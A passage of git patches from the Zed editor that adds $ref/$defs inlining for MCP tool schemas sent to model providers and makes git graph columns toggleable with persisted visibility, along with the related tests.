- Fixed MCP tools with `$ref`/`$defs` in their `inputSchema` being
silently rejected by providers using the JSON Schema Subset format
(Google Gemini, xAI Grok, OpenAI-compatible proxies, etc.). Tools from
servers like Notion MCP v2.x, and any server using Zod or
Pydantic-generated schemas, now work correctly.

---------

Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
Co-authored-by: Bennet Bo Fenner <bennet@zed.dev>
---
 Cargo.lock                                    |   1 +
 crates/language_model_core/Cargo.toml         |   3 +
 crates/language_model_core/src/tool_schema.rs | 396 ++++++++++++++++++
 3 files changed, 400 insertions(+)

diff --git a/Cargo.lock b/Cargo.lock
index 689b4f65498da0..b1d1e834170f83 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -9792,6 +9792,7 @@ dependencies = [
  "http_client",
  "log",
  "partial-json-fixer",
+ "pretty_assertions",
  "schemars 1.0.4",
  "serde",
  "serde_json",
diff --git a/crates/language_model_core/Cargo.toml b/crates/language_model_core/Cargo.toml
index c254989b4d5736..f4a59a3e08dc30 100644
--- a/crates/language_model_core/Cargo.toml
+++ b/crates/language_model_core/Cargo.toml
@@ -26,3 +26,6 @@ serde.workspace = true
 serde_json.workspace = true
 strum.workspace = true
 thiserror.workspace = true
+
+[dev-dependencies]
+pretty_assertions.workspace = true
diff --git a/crates/language_model_core/src/tool_schema.rs b/crates/language_model_core/src/tool_schema.rs
index 13e6e665244242..49c5d4bbe75786 100644
--- a/crates/language_model_core/src/tool_schema.rs
+++ b/crates/language_model_core/src/tool_schema.rs
@@ -82,6 +82,8 @@ pub fn adapt_schema_to_format(
         obj.remove("description");
     }
 
+    resolve_refs(json)?;
+
     match format {
         LanguageModelToolSchemaFormat::JsonSchema => preprocess_json_schema(json),
         LanguageModelToolSchemaFormat::JsonSchemaSubset => adapt_to_json_schema_subset(json),
@@ -106,6 +108,98 @@ fn preprocess_json_schema(json: &mut Value) -> Result<()> {
     Ok(())
 }
 
+/// Inlines same-document `$ref`s from `$defs`/`definitions` and removes those.
+fn resolve_refs(json: &mut Value) -> Result<()> {
+    let Some(root_obj) = json.as_object_mut() else {
+        return Ok(());
+    };
+
+    let defs = root_obj.remove("$defs");
+    let legacy_defs = root_obj.remove("definitions");
+    if defs.is_none() && legacy_defs.is_none() {
+        return Ok(());
+    }
+
+    resolve_refs_recursive(json, defs.as_ref(), legacy_defs.as_ref(), &mut Vec::new())
+}
+
+fn resolve_refs_recursive(
+    value: &mut Value,
+    defs: Option<&Value>,
+    legacy_defs: Option<&Value>,
+    visiting: &mut Vec<String>,
+) -> Result<()> {
+    match value {
+        Value::Object(obj) => {
+            if let Some(ref_str) = obj.get("$ref").and_then(|v| v.as_str()) {
+                // Guard against cycles (A -> B -> A, or self-referential
+                // schemas like a Tree node whose children are Trees)
+                if visiting.iter().any(|v| v == ref_str) {
+                    *obj = Map::new();
+                    return Ok(());
+                }
+
+                let (defs_key, name) = parse_ref(ref_str)?;
+                let defs_for_key = match defs_key {
+                    "$defs" => defs,
+                    "definitions" => legacy_defs,
+                    _ => None,
+                };
+                let Some(def) = defs_for_key.and_then(|defs| defs.get(name)) else {
+                    anyhow::bail!("$ref target not found in {defs_key}: {ref_str}");
+                };
+
+                let ref_owned = ref_str.to_string();
+
+                // Inline the referenced definition into the current object.
+                let mut resolved = def.clone();
+                if let Value::Object(resolved_obj) = &mut resolved {
+                    for (key, val) in obj.iter() {
+                        if key != "$ref" {
+                            resolved_obj.insert(key.clone(), val.clone());
+                        }
+                    }
+                }
+                *value = resolved;
+
+                visiting.push(ref_owned);
+                let result = resolve_refs_recursive(value, defs, legacy_defs, visiting);
+                visiting.pop();
+                return result;
+            }
+
+            let keys: Vec<String> = obj.keys().cloned().collect();
+            for key in keys {
+                if let Some(child) = obj.get_mut(&key) {
+                    resolve_refs_recursive(child, defs, legacy_defs, visiting)?;
+                }
+            }
+        }
+        Value::Array(arr) => {
+            for item in arr.iter_mut() {
+                resolve_refs_recursive(item, defs, legacy_defs, visiting)?;
+            }
+        }
+        _ => {}
+    }
+    Ok(())
+}
+
+/// Parses a same-document `$ref` like `#/$defs/Foo` or `#/definitions/Foo`.
+/// Returns `(defs_key, name)` where `defs_key` is the top-level key the
+/// definition was looked up under, and `name` is the definition name.
+fn parse_ref(ref_str: &str) -> Result<(&'static str, &str)> {
+    if let Some(name) = ref_str.strip_prefix("#/$defs/") {
+        return Ok(("$defs", name));
+    }
+    if let Some(name) = ref_str.strip_prefix("#/definitions/") {
+        return Ok(("definitions", name));
+    }
+    anyhow::bail!(
+        "Unsupported $ref format (only `#/$defs/<name>` and `#/definitions/<name>` are supported): {ref_str}"
+    );
+}
+
 fn adapt_to_json_schema_subset(json: &mut Value) -> Result<()> {
     if let Value::Object(obj) = json {
         const UNSUPPORTED_KEYS: [&str; 4] = ["if", "then", "else", "$ref"];
@@ -305,6 +399,7 @@ fn collapse_nullable_only_any_of(obj: &mut Map<String, Value>) {
 #[cfg(test)]
 mod tests {
     use super::*;
+    use pretty_assertions::assert_eq;
     use serde_json::json;
 
     fn obj(value: Value) -> Map<String, Value> {
@@ -787,6 +882,307 @@ mod tests {
         assert!(adapt_to_json_schema_subset(&mut json).is_err());
     }
 
+    #[test]
+    fn test_refs_are_resolved_via_adapt_schema_to_format() {
+        let mut json = json!({
+            "type": "object",
+            "properties": {
+                "parent": {
+                    "$ref": "#/$defs/pageParent"
+                },
+                "title": {
+                    "type": "string",
+                    "description": "Page title"
+                }
+            },
+            "required": ["parent"],
+            "$defs": {
+                "pageParent": {
+                    "type": "object",
+                    "properties": {
+                        "type": {
+                            "type": "string",
+                            "description": "Parent type"
+                        }
+                    },
+                    "required": ["type"]
+                }
+            }
+        });
+
+        adapt_schema_to_format(&mut json, LanguageModelToolSchemaFormat::JsonSchemaSubset).unwrap();
+
+        let expected = json!({
+            "type": "object",
+            "properties": {
+                "parent": {
+                    "type": "object",
+                    "properties": {
+                        "type": {
+                            "type": "string",
+                            "description": "Parent type"
+                        }
+                    },
+                    "required": ["type"]
+                },
+                "title": {
+                    "type": "string",
+                    "description": "Page title"
+                }
+            },
+            "required": ["parent"],
+        });
+        assert_eq!(json, expected);
+    }
+
+    #[test]
+    fn test_refs_fail_for_unsupported_prefix() {
+        let mut json = json!({
+            "type": "object",
+            "properties": {
+                "child": {
+                    "$ref": "https://example.com/schema.json#/User"
+                }
+            },
+            "$defs": {
+                "User": { "type": "string" }
+            }
+        });
+
+        assert!(
+            adapt_schema_to_format(&mut json, LanguageModelToolSchemaFormat::JsonSchemaSubset)
+                .is_err()
+        );
+    }
+
+    #[test]
+    fn test_refs_fail_for_missing_definition() {
+        let mut json = json!({
+            "type": "object",
+            "properties": {
+                "child": {
+                    "$ref": "#/$defs/NonExistent"
+                }
+            },
+            "$defs": {
+                "Existing": { "type": "string" }
+            }
+        });
+
+        assert!(
+            adapt_schema_to_format(&mut json, LanguageModelToolSchemaFormat::JsonSchemaSubset)
+                .is_err()
+        );
+    }
+
+    #[test]
+    fn test_refs_in_defs_are_resolved() {
+        // A definition that itself references another definition.
+        let mut json = json!({
+            "type": "object",
+            "properties": {
+                "parent": {
+                    "$ref": "#/$defs/pageParent"
+                }
+            },
+            "$defs": {
+                "pageParent": {
+                    "type": "object",
+                    "properties": {
+                        "database_id": {
+                            "$ref": "#/$defs/databaseId"
+                        }
+                    }
+                },
+                "databaseId": {
+                    "type": "string",
+                    "description": "A database ID"
+                }
+            }
+        });
+
+        adapt_schema_to_format(&mut json, LanguageModelToolSchemaFormat::JsonSchemaSubset).unwrap();
+
+        // The nested $ref in pageParent -> databaseId should be resolved.
+        assert_eq!(
+            json,
+            json!({
+                "type": "object",
+                "properties": {
+                    "parent": {
+                        "type": "object",
+                        "properties": {
+                            "database_id": {
+                                "type": "string",
+                                "description": "A database ID"
+                            }
+                        }
+                    }
+                }
+            })
+        );
+    }
+
+    #[test]
+    fn test_refs_resolve_when_both_defs_and_definitions_exist() {
+        let mut json = json!({
+            "type": "object",
+            "properties": {
+                "modern": {
+                    "$ref": "#/$defs/Modern"
+                },
+                "legacy": {
+                    "$ref": "#/definitions/Legacy"
+                }
+            },
+            "$defs": {
+                "Modern": {
+                    "type": "string"
+                }
+            },
+            "definitions": {
+                "Legacy": {
+                    "type": "number"
+                }
+            }
+        });
+
+        adapt_schema_to_format(&mut json, LanguageModelToolSchemaFormat::JsonSchemaSubset).unwrap();
+
+        assert_eq!(
+            json,
+            json!({
+                "type": "object",
+                "properties": {
+                    "modern": {
+                        "type": "string"
+                    },
+                    "legacy": {
+                        "type": "number"
+                    }
+                }
+            })
+        );
+    }
+
+    #[test]
+    fn test_refs_in_array_items_are_resolved() {
+        let mut json = json!({
+            "type": "object",
+            "properties": {
+                "items": {
+                    "type": "array",
+                    "items": {
+                        "$ref": "#/$defs/itemDef"
+                    }
+                }
+            },
+            "$defs": {
+                "itemDef": {
+                    "type": "string",
+                    "description": "An item"
+                }
+            }
+        });
+
+        adapt_schema_to_format(&mut json, LanguageModelToolSchemaFormat::JsonSchemaSubset).unwrap();
+
+        assert_eq!(
+            json,
+            json!({
+                "type": "object",
+                "properties": {
+                    "items": {
+                        "type": "array",
+                        "items": {
+                            "type": "string",
+                            "description": "An item"
+                        }
+                    }
+                }
+            })
+        );
+    }
+
+    #[test]
+    fn test_self_referential_ref_is_replaced_with_empty_schema() {
+        // A common pattern: a Tree node with children of the same type.
+        let mut json = json!({
+            "type": "object",
+            "properties": {
+                "root": { "$ref": "#/$defs/Tree" }
+            },
+            "$defs": {
+                "Tree": {
+                    "type": "object",
+                    "properties": {
+                        "value": { "type": "string" },
+                        "children": {
+                            "type": "array",
+                            "items": { "$ref": "#/$defs/Tree" }
+                        }
+                    }
+                }
+            }
+        });
+
+        adapt_schema_to_format(&mut json, LanguageModelToolSchemaFormat::JsonSchemaSubset)
+            .expect("self-referential $ref should not error");
+
+        assert_eq!(
+            json,
+            json!({
+                "type": "object",
+                "properties": {
+                    "root": {
+                        "type": "object",
+                        "properties": {
+                            "value": { "type": "string" },
+                            "children": {
+                                "type": "array",
+                                "items": {}
+                            }
+                        }
+                    }
+                }
+            })
+        );
+    }
+
+    #[test]
+    fn test_ref_sibling_properties_are_preserved() {
+        // JSON Schema draft 2019-09+ allows sibling properties alongside
+        // `$ref`. They must be merged into the resolved definition rather than
+        // discarded, with siblings overriding the definition's keys.
+        let mut json = json!({
+            "type": "object",
+            "properties": {
+                "child": {
+                    "$ref": "#/$defs/childDef",
+                    "description": "Local description overrides def"
+                }
+            },
+            "$defs": {
+                "childDef": {
+                    "type": "string",
+                    "description": "Def description",
+                    "minLength": 1
+                }
+            }
+        });
+
+        adapt_schema_to_format(&mut json, LanguageModelToolSchemaFormat::JsonSchemaSubset).unwrap();
+
+        assert_eq!(
+            json["properties"]["child"],
+            json!({
+                "type": "string",
+                "description": "Local description overrides def",
+                "minLength": 1
+            })
+        );
+    }
+
     #[test]
     fn test_preprocess_json_schema_adds_additional_properties() {
         let mut json = json!({

From fcd0f769521884e71b9b54ab964bd88cf057a276 Mon Sep 17 00:00:00 2001
From: Remco Smits <djsmits12@gmail.com>
Date: Tue, 7 Jul 2026 10:01:05 +0200
Subject: [PATCH 295/772] git_ui: make git graph columns toggleable (#59850)

# Objective

TODO

## Solution

TODO

## Self-Review Checklist:

- [ ] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase


https://github.com/user-attachments/assets/ae1e2759-2ae9-4c6f-aba3-b6b557c673bc

---

cc @Anthony-Eid

Release Notes:

- Git graph: Make columns toggleable

---------

Co-authored-by: Anthony <anthony@zed.dev>
Co-authored-by: Anthony Eid <hello@anthonyeid.me>
---
 crates/git_ui/src/git_graph.rs                | 351 ++++++++++++++----
 crates/ui/src/components/context_menu.rs      |  16 +-
 crates/ui/src/components/data_table.rs        | 147 +++++---
 .../ui/src/components/data_table/table_row.rs |   4 +
 crates/ui/src/components/data_table/tests.rs  | 236 ++++++++++++
 .../src/components/redistributable_columns.rs | 297 +++++++++++----
 6 files changed, 879 insertions(+), 172 deletions(-)

diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index 9366039969e512..b360e1ec578395 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -55,8 +55,8 @@ use ui::{
     Divider, HeaderResizeInfo, HighlightedLabel, ListItem, ListItemSpacing,
     RedistributableColumnsState, ScrollableHandle, Table, TableInteractionState,
     TableRenderContext, TableResizeBehavior, Tooltip, WithScrollbar, bind_redistributable_columns,
-    prelude::*, render_redistributable_columns_resize_handles, render_table_header,
-    table_row::TableRow,
+    prelude::*, redistribute_hidden_fractions, redistribute_hidden_widths,
+    render_redistributable_columns_resize_handles, render_table_header, table_row::TableRow,
 };
 use util::{ResultExt, debug_panic};
 use workspace::{
@@ -73,6 +73,7 @@ const RESIZE_HANDLE_WIDTH: f32 = 8.0;
 const COPIED_STATE_DURATION: Duration = Duration::from_secs(2);
 const COMMIT_TAG_LIST_WIDTH_IN_REMS: Rems = rems(10.);
 const CUSTOM_GIT_COMMANDS_DOCS_SLUG: &str = "tasks#custom-git-commands";
+const TABLE_COLUMN_COUNT: usize = 4;
 // Extra vertical breathing room added to the UI line height when computing
 // the git graph's row height, so commit dots and lines have space around them.
 const ROW_VERTICAL_PADDING: Pixels = px(4.0);
@@ -1320,7 +1321,7 @@ fn compute_diff_stats(diff: &CommitDiff) -> (usize, usize) {
 struct GitGraphContextMenu {
     menu: Entity<ContextMenu>,
     position: Point<Pixels>,
-    entry_idx: usize,
+    entry_idx: Option<usize>,
     _subscription: Subscription,
 }
 
@@ -1339,6 +1340,9 @@ pub struct GitGraph {
     context_menu: Option<GitGraphContextMenu>,
     table_interaction_state: Entity<TableInteractionState>,
     column_widths: Entity<RedistributableColumnsState>,
+    /// Per-column visibility mask owned by the view (not the resize state) so columns can be
+    /// hidden regardless of whether the table is resizable. `true` means the column is hidden.
+    column_visibility: TableRow<bool>,
     selected_entry_idx: Option<usize>,
     hovered_entry_idx: Option<usize>,
     graph_canvas_bounds: Rc<Cell<Option<Bounds<Pixels>>>>,
@@ -1402,22 +1406,32 @@ impl GitGraph {
     }
 
     fn preview_column_fractions(&self, window: &Window, cx: &App) -> [f32; 5] {
-        // todo(git_graph): We should make a column/table api that allows removing table columns
-        let fractions = self
+        let raw = self
             .column_widths
             .read(cx)
             .preview_fractions(window.rem_size());
+        let fractions = redistribute_hidden_fractions(&raw, Some(&self.column_visibility));
+
+        // Hidden columns occupy no space in the layout, so report them as zero here even though
+        // the shared redistribution helper preserves their stored width for when they return.
+        let value = |idx: usize| {
+            if self.column_visibility.get(idx).copied().unwrap_or(false) {
+                0.0
+            } else {
+                fractions[idx]
+            }
+        };
 
         let is_path_history = matches!(self.log_source, LogSource::Path(_));
-        let graph_fraction = if is_path_history { 0.0 } else { fractions[0] };
+        let graph_fraction = if is_path_history { 0.0 } else { value(0) };
         let offset = if is_path_history { 0 } else { 1 };
 
         [
             graph_fraction,
-            fractions[offset],
-            fractions[offset + 1],
-            fractions[offset + 2],
-            fractions[offset + 3],
+            value(offset),
+            value(offset + 1),
+            value(offset + 2),
+            value(offset + 3),
         ]
     }
 
@@ -1445,10 +1459,13 @@ impl GitGraph {
     }
 
     fn graph_viewport_width(&self, window: &Window, cx: &App) -> Pixels {
-        self.column_widths
-            .read(cx)
-            .preview_column_width(0, window)
-            .unwrap_or_else(|| self.graph_canvas_content_width())
+        let container = self.column_widths.read(cx).cached_container_width();
+        let graph_fraction = self.preview_column_fractions(window, cx)[0];
+        if container > px(0.) && graph_fraction > 0.0 {
+            container * graph_fraction
+        } else {
+            self.graph_canvas_content_width()
+        }
     }
 
     pub fn new(
@@ -1531,6 +1548,14 @@ impl GitGraph {
                 )
             })
         };
+        let column_visibility = TableRow::from_element(
+            false,
+            if matches!(log_source, LogSource::Path(_)) {
+                TABLE_COLUMN_COUNT
+            } else {
+                TABLE_COLUMN_COUNT + 1
+            },
+        );
         let mut row_height = Self::row_height(window, cx);
 
         cx.observe_global_in::<settings::SettingsStore>(window, move |this, window, cx| {
@@ -1564,6 +1589,7 @@ impl GitGraph {
             context_menu: None,
             table_interaction_state,
             column_widths,
+            column_visibility,
             selected_entry_idx: None,
             hovered_entry_idx: None,
             graph_canvas_bounds: Rc::new(Cell::new(None)),
@@ -2674,14 +2700,14 @@ impl GitGraph {
                     menu
                 })
         });
-        self.set_context_menu(context_menu, position, index, window, cx);
+        self.set_context_menu(context_menu, position, Some(index), window, cx);
     }
 
     fn set_context_menu(
         &mut self,
         context_menu: Entity<ContextMenu>,
         position: Point<Pixels>,
-        entry_idx: usize,
+        entry_idx: Option<usize>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
@@ -2712,6 +2738,63 @@ impl GitGraph {
         cx.notify();
     }
 
+    fn toggle_column_visibility(&mut self, col_idx: usize, cx: &mut Context<Self>) {
+        if let Some(slot) = self.column_visibility.as_mut_slice().get_mut(col_idx) {
+            *slot = !*slot;
+            // Column visibility is persisted per item, so schedule a workspace serialization.
+            cx.emit(ItemEvent::Edit);
+        }
+    }
+
+    fn deploy_header_context_menu(
+        &mut self,
+        position: Point<Pixels>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let is_path_history = matches!(self.log_source, LogSource::Path(_));
+        let columns: &[&str] = if is_path_history {
+            &["Description", "Date", "Author", "Commit"]
+        } else {
+            &["Graph", "Description", "Date", "Author", "Commit"]
+        };
+
+        let filter = self.column_visibility.clone();
+        let visible_count = filter
+            .as_slice()
+            .iter()
+            .filter(|filtered| !**filtered)
+            .count();
+
+        let focus_handle = self.focus_handle.clone();
+        let git_graph = cx.entity();
+        let context_menu = ContextMenu::build(window, cx, |mut context_menu, _window, _cx| {
+            context_menu = context_menu.context(focus_handle).header("Columns");
+            for (col_idx, label) in columns.iter().enumerate() {
+                let is_visible = !filter.get(col_idx).copied().unwrap_or(false);
+                // Disable hiding the last remaining visible column.
+                let can_toggle = !is_visible || visible_count > 1;
+                let git_graph = git_graph.clone();
+                context_menu = context_menu.toggleable_entry_disabled_when(
+                    label.to_string(),
+                    is_visible,
+                    !can_toggle,
+                    IconPosition::End,
+                    None,
+                    move |_window, cx| {
+                        git_graph.update(cx, |this, cx| {
+                            this.toggle_column_visibility(col_idx, cx);
+                            cx.notify();
+                        });
+                    },
+                );
+            }
+            context_menu
+        });
+
+        self.set_context_menu(context_menu, position, None, window, cx);
+    }
+
     fn render_search_bar(&self, cx: &mut Context<Self>) -> impl IntoElement {
         let color = cx.theme().colors();
         let query_focus_handle = self
@@ -3365,7 +3448,7 @@ impl GitGraph {
 
         let hovered_entry_idx = self.hovered_entry_idx;
         let selected_entry_idx = self.selected_entry_idx;
-        let context_menu_entry_idx = self.context_menu.as_ref().map(|menu| menu.entry_idx);
+        let context_menu_entry_idx = self.context_menu.as_ref().and_then(|menu| menu.entry_idx);
         let is_focused = self.focus_handle.is_focused(window);
         let graph_canvas_bounds = self.graph_canvas_bounds.clone();
 
@@ -3892,10 +3975,27 @@ impl Render for GitGraph {
             let is_path_history = matches!(self.log_source, LogSource::Path(_));
             let header_resize_info =
                 HeaderResizeInfo::from_redistributable(&self.column_widths, cx);
-            let header_context = TableRenderContext::for_column_widths(
-                Some(self.column_widths.read(cx).widths_to_render()),
-                true,
+
+            let column_filter = self.column_visibility.clone();
+
+            // The graph column (index 0) only exists in the non-path-history layout and is
+            // rendered as a separate canvas outside the table.
+            let graph_visible =
+                is_path_history || !column_filter.get(0usize).copied().unwrap_or(false);
+
+            let table_offset = if is_path_history { 0 } else { 1 };
+            let table_filter = column_filter
+                .as_slice()
+                .get(table_offset..table_offset + TABLE_COLUMN_COUNT)
+                .map(|slice| TableRow::from_vec(slice.to_vec(), TABLE_COLUMN_COUNT))
+                .unwrap_or_else(|| TableRow::from_element(false, TABLE_COLUMN_COUNT));
+            let header_widths = redistribute_hidden_widths(
+                &self.column_widths.read(cx).widths_to_render(),
+                Some(&column_filter),
             );
+            let header_context = TableRenderContext::for_column_widths(Some(header_widths), true)
+                .with_column_filter(Some(column_filter));
+
             let [
                 graph_fraction,
                 description_fraction,
@@ -3907,6 +4007,9 @@ impl Render for GitGraph {
                 description_fraction + date_fraction + author_fraction + commit_fraction;
             let table_width_config = self.table_column_width_config(window, cx);
 
+            let table_collapsed = table_fraction <= f32::EPSILON;
+            let graph_content_width = self.graph_canvas_content_width();
+
             h_flex()
                 .size_full()
                 .child(
@@ -3916,47 +4019,69 @@ impl Render for GitGraph {
                         .size_full()
                         .flex()
                         .flex_col()
-                        .child(render_table_header(
-                            if !is_path_history {
-                                TableRow::from_vec(
-                                    vec![
-                                        Label::new("Graph")
-                                            .color(Color::Muted)
-                                            .truncate()
-                                            .into_any_element(),
-                                        Label::new("Description")
-                                            .color(Color::Muted)
-                                            .into_any_element(),
-                                        Label::new("Date").color(Color::Muted).into_any_element(),
-                                        Label::new("Author").color(Color::Muted).into_any_element(),
-                                        Label::new("Commit").color(Color::Muted).into_any_element(),
-                                    ],
-                                    5,
-                                )
-                            } else {
-                                TableRow::from_vec(
-                                    vec![
-                                        Label::new("Description")
-                                            .color(Color::Muted)
-                                            .into_any_element(),
-                                        Label::new("Date").color(Color::Muted).into_any_element(),
-                                        Label::new("Author").color(Color::Muted).into_any_element(),
-                                        Label::new("Commit").color(Color::Muted).into_any_element(),
-                                    ],
-                                    4,
+                        .child(
+                            div()
+                                .on_mouse_down(
+                                    MouseButton::Right,
+                                    cx.listener(|this, event: &MouseDownEvent, window, cx| {
+                                        this.deploy_header_context_menu(event.position, window, cx);
+                                        cx.stop_propagation();
+                                    }),
                                 )
-                            },
-                            header_context,
-                            Some(header_resize_info),
-                            Some(self.column_widths.entity_id()),
-                            cx,
-                        ))
+                                .child(render_table_header(
+                                    if !is_path_history {
+                                        TableRow::from_vec(
+                                            vec![
+                                                Label::new("Graph")
+                                                    .color(Color::Muted)
+                                                    .truncate()
+                                                    .into_any_element(),
+                                                Label::new("Description")
+                                                    .color(Color::Muted)
+                                                    .into_any_element(),
+                                                Label::new("Date")
+                                                    .color(Color::Muted)
+                                                    .into_any_element(),
+                                                Label::new("Author")
+                                                    .color(Color::Muted)
+                                                    .into_any_element(),
+                                                Label::new("Commit")
+                                                    .color(Color::Muted)
+                                                    .into_any_element(),
+                                            ],
+                                            5,
+                                        )
+                                    } else {
+                                        TableRow::from_vec(
+                                            vec![
+                                                Label::new("Description")
+                                                    .color(Color::Muted)
+                                                    .into_any_element(),
+                                                Label::new("Date")
+                                                    .color(Color::Muted)
+                                                    .into_any_element(),
+                                                Label::new("Author")
+                                                    .color(Color::Muted)
+                                                    .into_any_element(),
+                                                Label::new("Commit")
+                                                    .color(Color::Muted)
+                                                    .into_any_element(),
+                                            ],
+                                            4,
+                                        )
+                                    },
+                                    header_context,
+                                    Some(header_resize_info),
+                                    Some(self.column_widths.entity_id()),
+                                    cx,
+                                )),
+                        )
                         .child({
                             let row_height = Self::row_height(window, cx);
                             let selected_entry_idx = self.selected_entry_idx;
                             let hovered_entry_idx = self.hovered_entry_idx;
                             let context_menu_entry_idx =
-                                self.context_menu.as_ref().map(|menu| menu.entry_idx);
+                                self.context_menu.as_ref().and_then(|menu| menu.entry_idx);
                             let weak_self = cx.weak_entity();
                             let focus_handle = self.focus_handle.clone();
                             let table_focus_handle =
@@ -3991,6 +4116,7 @@ impl Render for GitGraph {
                                 .hide_row_borders()
                                 .hide_row_hover()
                                 .width_config(table_width_config)
+                                .column_filter(table_filter)
                                 .map_row(move |(index, row), window, cx| {
                                     let is_selected = selected_entry_idx == Some(index);
                                     let is_hovered = hovered_entry_idx == Some(index);
@@ -4077,10 +4203,18 @@ impl Render for GitGraph {
                                     .child(
                                         h_flex()
                                             .size_full()
-                                            .when(!is_path_history, |this| {
+                                            .when(!is_path_history && graph_visible, |this| {
                                                 this.child(
                                                     div()
-                                                        .w(DefiniteLength::Fraction(graph_fraction))
+                                                        .map(|this| {
+                                                            if table_collapsed {
+                                                                this.w(graph_content_width)
+                                                            } else {
+                                                                this.w(DefiniteLength::Fraction(
+                                                                    graph_fraction,
+                                                                ))
+                                                            }
+                                                        })
                                                         .h_full()
                                                         .min_w_0()
                                                         .overflow_hidden()
@@ -4092,7 +4226,15 @@ impl Render for GitGraph {
                                                     .tab_index(2)
                                                     .tab_group()
                                                     .tab_stop(false)
-                                                    .w(DefiniteLength::Fraction(table_fraction))
+                                                    .map(|this| {
+                                                        if table_collapsed {
+                                                            this.flex_1()
+                                                        } else {
+                                                            this.w(DefiniteLength::Fraction(
+                                                                table_fraction,
+                                                            ))
+                                                        }
+                                                    })
                                                     .h_full()
                                                     .min_w_0()
                                                     .child(commits_table),
@@ -4100,10 +4242,12 @@ impl Render for GitGraph {
                                     )
                                     .child(render_redistributable_columns_resize_handles(
                                         &self.column_widths,
+                                        Some(&self.column_visibility),
                                         window,
                                         cx,
                                     )),
                                 self.column_widths.clone(),
+                                Some(self.column_visibility.clone()),
                             )
                         }),
                 )
@@ -4295,6 +4439,7 @@ impl workspace::SerializableItem for GitGraph {
             selected_sha,
             search_query,
             search_case_sensitive,
+            hidden_columns,
         )) = db.get_git_graph(item_id, workspace_id).ok().flatten()
         else {
             return Task::ready(Err(anyhow::anyhow!("No git graph to deserialize")));
@@ -4307,6 +4452,7 @@ impl workspace::SerializableItem for GitGraph {
             selected_sha,
             search_query,
             search_case_sensitive,
+            hidden_columns,
         };
 
         let window_handle = window.window_handle();
@@ -4349,6 +4495,16 @@ impl workspace::SerializableItem for GitGraph {
                 });
 
                 git_graph.update(cx, |graph, cx| {
+                    if let Some(bits) = state.hidden_columns {
+                        let cols = graph.column_visibility.cols();
+                        let mask = persistence::deserialize_hidden_columns(bits, cols);
+                        // Never restore an all-hidden mask (e.g. from corrupt data); the UI
+                        // guarantees at least one column stays visible.
+                        if mask.iter().any(|is_hidden| !is_hidden) {
+                            graph.column_visibility = TableRow::from_vec(mask, cols);
+                        }
+                    }
+
                     graph.search_state.case_sensitive =
                         state.search_case_sensitive.unwrap_or(false);
 
@@ -4401,6 +4557,9 @@ impl workspace::SerializableItem for GitGraph {
         let log_source_value = persistence::serialize_log_source_value(&self.log_source);
         let log_order = Some(persistence::serialize_log_order(&self.log_order));
         let search_case_sensitive = Some(self.search_state.case_sensitive);
+        let hidden_columns = Some(persistence::serialize_hidden_columns(
+            self.column_visibility.as_slice(),
+        ));
 
         let db = persistence::GitGraphsDb::global(cx);
         Some(cx.background_spawn(async move {
@@ -4414,6 +4573,7 @@ impl workspace::SerializableItem for GitGraph {
                 selected_sha,
                 search_query,
                 search_case_sensitive,
+                hidden_columns,
             )
             .await
         }))
@@ -4469,6 +4629,9 @@ mod persistence {
                 ALTER TABLE git_graphs ADD COLUMN search_query TEXT;
                 ALTER TABLE git_graphs ADD COLUMN search_case_sensitive INTEGER;
             ),
+            sql!(
+                ALTER TABLE git_graphs ADD COLUMN hidden_columns INTEGER;
+            ),
         ];
     }
 
@@ -4545,6 +4708,23 @@ mod persistence {
         }
     }
 
+    /// Packs the per-column visibility mask into a bitmask (bit `i` set means column `i` is
+    /// hidden), so it fits in a single integer database column regardless of column count.
+    pub fn serialize_hidden_columns(hidden: &[bool]) -> i32 {
+        hidden.iter().enumerate().fold(
+            0,
+            |bits, (idx, &is_hidden)| {
+                if is_hidden { bits | (1 << idx) } else { bits }
+            },
+        )
+    }
+
+    /// Inverse of [`serialize_hidden_columns`]. Bits beyond `cols` are ignored, and missing
+    /// bits default to visible, so a mask saved with a different column count degrades safely.
+    pub fn deserialize_hidden_columns(bits: i32, cols: usize) -> Vec<bool> {
+        (0..cols).map(|idx| bits & (1 << idx) != 0).collect()
+    }
+
     #[derive(Debug, Default, Clone)]
     pub struct SerializedGitGraphState {
         pub log_source_type: Option<i32>,
@@ -4553,6 +4733,7 @@ mod persistence {
         pub selected_sha: Option<String>,
         pub search_query: Option<String>,
         pub search_case_sensitive: Option<bool>,
+        pub hidden_columns: Option<i32>,
     }
 
     impl GitGraphsDb {
@@ -4566,14 +4747,16 @@ mod persistence {
                 log_order: Option<i32>,
                 selected_sha: Option<String>,
                 search_query: Option<String>,
-                search_case_sensitive: Option<bool>
+                search_case_sensitive: Option<bool>,
+                hidden_columns: Option<i32>
             ) -> Result<()> {
                 INSERT OR REPLACE INTO git_graphs(
                     item_id, workspace_id, repo_working_path,
                     log_source_type, log_source_value, log_order,
-                    selected_sha, search_query, search_case_sensitive
+                    selected_sha, search_query, search_case_sensitive,
+                    hidden_columns
                 )
-                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
+                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
             }
         }
 
@@ -4588,7 +4771,8 @@ mod persistence {
                 Option<i32>,
                 Option<String>,
                 Option<String>,
-                Option<bool>
+                Option<bool>,
+                Option<i32>
             )>> {
                 SELECT
                     repo_working_path,
@@ -4597,7 +4781,8 @@ mod persistence {
                     log_order,
                     selected_sha,
                     search_query,
-                    search_case_sensitive
+                    search_case_sensitive,
+                    hidden_columns
                 FROM git_graphs
                 WHERE item_id = ? AND workspace_id = ?
             }
@@ -5886,6 +6071,7 @@ mod tests {
             selected_sha: Some(sha.to_string()),
             search_query: Some("fix bug".to_string()),
             search_case_sensitive: Some(true),
+            hidden_columns: None,
         };
 
         assert_eq!(
@@ -5910,6 +6096,7 @@ mod tests {
